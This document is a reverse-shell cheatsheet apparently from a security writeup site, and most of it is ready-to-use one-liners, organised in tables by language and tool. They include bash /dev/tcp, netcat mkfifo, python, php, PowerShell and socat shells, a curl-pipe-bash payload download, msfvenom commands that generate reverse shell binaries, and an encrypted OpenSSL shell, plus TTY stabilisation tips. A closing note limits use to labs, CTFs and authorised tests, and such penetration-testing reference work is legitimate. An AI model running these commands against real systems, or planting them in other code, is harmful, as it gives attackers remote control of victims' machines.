root@sparrow:~/writeups$ cat reverse-shells.md
// Shells & Pivoting
Reverse Shells
21 Jul 2026
· 3 min read
A reverse shell makes the victim machine start the connection back to the attacker, instead of waiting for incoming connections like a bind shell. It is the standard technique after exploiting a service, because it usually gets through firewalls and NAT that block inbound ports but allow outbound traffic. This cheatsheet gathers the most-used one-liners by language and the tools to catch them.
There is no universal one-liner: what works depends on which interpreters exist on the victim and on which shell /bin/sh actually is. The /dev/tcp trick is a Bash feature, not POSIX sh, so it fails on systems where /bin/sh is dash. And since netcat's -e flag is missing from almost every modern build, the real field pattern is the mkfifo one. That is why it pays to keep several alternatives at hand.
1. Beginner level — one-liners by language

| Command | What it does |
|---|---|
bash -i >& /dev/tcp/<ip>/4444 0>&1 | Bash reverse shell |
nc <ip> 4444 -e /bin/bash | Netcat reverse shell (-e) |
nc <ip> 4444 -e /bin/sh | Same with /bin/sh |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> 4444 >/tmp/f | Netcat without -e (mkfifo) |
python3 -c 'import pty,os,socket;s=socket.socket();s.connect(("<ip>",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")' | Python3 reverse shell |
php -r '$s=fsockopen("<ip>",4444);exec("/bin/sh -i <&3 >&3 2>&3");' | PHP reverse shell |
perl -e 'use Socket;...;exec("/bin/sh -i");' | Perl reverse shell |
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<ip>",4444)...' | Ruby reverse shell |
socat TCP:<ip>:4444 EXEC:/bin/bash | Socat reverse shell |
nc -lvnp 4444 | Listener on the attacker machine |
sh -i >& /dev/udp/<ip>/4444 0>&1 | Reverse shell over UDP |
curl http://<ip>/shell.sh | bash | Downloads and runs a payload |
lua -e 'require("socket");...os.execute("/bin/sh -i")' | Lua reverse shell |
rlwrap nc -lvnp 4444 | Listener with command history |
2. Advanced level — TTY, PowerShell and encryption

| Command | What it does |
|---|---|
python3 -c 'import pty;pty.spawn("/bin/bash")' | Stabilizes the TTY (step 1) |
Ctrl+Z ; stty raw -echo; fg | Returns terminal control (step 2) |
export TERM=xterm; stty rows 50 cols 200 | Adjusts rows and columns (step 3) |
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<ip>',4444)..." | PowerShell reverse shell |
powershell -e <base64> | Runs an encoded PowerShell payload |
socat TCP:<ip>:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane | Fully interactive shell via socat |
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444 | Socat listener with full TTY |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o s | Generates a reverse binary (Linux) |
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exe | Reverse EXE for Windows |
openssl req -x509 -newkey rsa:2048 -keyout k.pem -out c.pem -nodes | Generates a cert for an encrypted shell |
openssl s_server -quiet -key k.pem -cert c.pem -port 4444 | TLS listener with OpenSSL |
mkfifo /tmp/s;openssl s_client -connect <ip>:4444 </tmp/s|sh >/tmp/s | Encrypted reverse shell (client) |
stty -a | Checks rows/columns to adjust the TTY |
nc -lvnp 4444 -s <ip> | Listener binding the listening IP |
3. Details people miss
- Always start the listener (
nc -lvnp 4444) before firing the payload: if the victim connects and nothing is listening, the shell is lost. - The
/dev/tcptrick belongs to Bash. On many Linux systems/bin/shis dash and does not support it: invokebashexplicitly or use another method. - Netcat's
-eflag is absent from most modern builds (nmap-ncat, OpenBSD netcat). Ifnc -efails, use themkfifovariant. - The shell you get is dumb: no Ctrl+C, no arrows or tab. Stabilize the TTY (
python3 -c 'import pty;pty.spawn(...)'+stty raw -echo) before working. - After stabilizing, export
TERM=xtermand setrows/colswithstty, or full-screen tools likevimorlesswill break.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.